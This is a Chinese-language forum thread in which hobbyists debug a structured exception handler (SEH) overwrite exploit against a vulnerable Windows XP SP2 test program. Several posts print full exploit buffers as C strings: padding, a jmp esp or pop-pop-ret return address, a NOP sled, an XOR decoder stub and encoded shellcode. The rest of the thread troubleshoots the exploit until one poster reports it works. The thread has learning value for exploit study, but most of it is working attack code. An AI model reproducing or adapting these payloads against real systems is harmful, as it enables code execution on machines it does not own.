能力值:
( LV5,RANK:60 )
|
-
-
2 楼
这个应该是seh overwrite.blackhat-forums上有个paper上写的很清楚。
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
char para[]="AAAAAAAA"//这8个字符覆盖char name[8]
"\x90\x90\xEB\x04" //这个覆盖print函数内部保存的ebp
"\xCD\x54\xFA\x7F" //这个地址的数据就是FFE4即jmp esp
//"\x71\x15\xfa\x7f" //在我的机子上不是这个
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x0E\x5B\x4B\x33\xC9\xB1" //decode1 通过call获得代码地址
"\x2C" // shellcode size 1byte
"\x80\x34\x0B"
"\xAA" // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"
"\xff\x21\x46\xc2\xf8\xfe\xaa\xaa\xc2\xe7\xf9\xfc" //异或后的shellcode 长度为46
"\xe9\xfe\x12\xdd\xb7\x2a\xd6\x55\x7a\xc2\xc9\xc5\xc7\xaa"
"\xc2\xcb\xc4\xce\x84\xc2\xc9\xc5\xc7\xc7\xfe\x12\x6d\x39"
"\x15\xdd\x55\x7a";
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
这段代码很好很强大 收藏
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
现在才看到"看了关于SEH利用之后,写了个简单的例子。",知道你的意思。不过这个代码的SEH链在接近堆栈底部,很难使用。中间大该需要有0x84字节的填充物。
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
高人能说得清楚点么?我这个shellcode已经没什么功能了。。。难道必须缩短么?
SEH在xp里面还不是最先执行的,在SEH之前还有个VEH,但是我这里找不到关于VEH的资料。而且SEH在xp里似乎确实可以利用。。。谢谢大家,请您说得详细点。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
7 楼
谢谢大家,能给我个链接么?
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
感觉这段代码有问题,没有实现溢出,可能是你从某个例子上抄下来的,在这里不能应用,因为程序不一样,SEH链的位置也不一样
char para[]="AAAAAAAA"
"AAAA" //覆盖eip
"AAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAA" //下面还不是SEH链的指针
"\x90\x90\xEB\x04"
"\x71\x15\xfa\x7f" //pop pop ret的地址 这个ret的要返回到哪里?此时堆栈数据是90909090啊?
//放置shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x0E\x5B\x4B\x33\xC9\xB1" //decode1 通过call获得代码地址
"\x2C" // shellcode size 1byte
"\x80\x34\x0B"
"\xAA" // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"
"\xff\x21\x46\xc2\xf8\xfe\xaa\xaa\xc2\xe7\xf9\xfc" //异或后的shellcode 长度为46
"\xe9\xfe\x12\xdd\xb7\x2a\xd6\x55\x7a\xc2\xc9\xc5\xc7\xaa"
"\xc2\xcb\xc4\xce\x84\xc2\xc9\xc5\xc7\xc7\xfe\x12\x6d\x39"
"\x15\xdd\x55\x7a";
|
能力值:
( LV2,RANK:10 )
|
-
-
9 楼
[QUOTE=compiler;423909]感觉这段代码有问题,没有实现溢出,可能是你从某个例子上抄下来的,在这里不能应用,因为程序不一样,SEH链的位置也不一样
char para[]="AAAAAAAA"
"AAAA" //覆盖eip
"AAAAAAAAAAAAAAA...[/QUOTE]
这是我用ollydbg调出来的,可以运行定位到shellcode的地方,这个例子是我自己写的~~~~问题就是进入这段shellcode后,某个地址不能写,所以在seh里又发生了异常,我的代码只能执行几个循环就被中断了~
|
能力值:
( LV2,RANK:10 )
|
-
-
10 楼
我通过3楼的代码验证过,下面这段代码没问题,这就怪了...........
"\xEB\x0E\x5B\x4B\x33\xC9\xB1" //decode1 通过call获得代码地址
"\x2C" // shellcode size 1byte
"\x80\x34\x0B"
"\xAA" // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"
"\xff\x21\x46\xc2\xf8\xfe\xaa\xaa\xc2\xe7\xf9\xfc" //异或后的shellcode 长度为46
"\xe9\xfe\x12\xdd\xb7\x2a\xd6\x55\x7a\xc2\xc9\xc5\xc7\xaa"
"\xc2\xcb\xc4\xce\x84\xc2\xc9\xc5\xc7\xc7\xfe\x12\x6d\x39"
"\x15\xdd\x55\x7a";
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
你三楼的程序是利用覆盖eip的方法,我用的是SEH链,今天早上没事儿又调试了一下,结果通过了,莫名其妙
你如果是xpsp2的话不妨试试我这个,程序用release的:)
(我去掉了中间的两行\x90)
|
|
|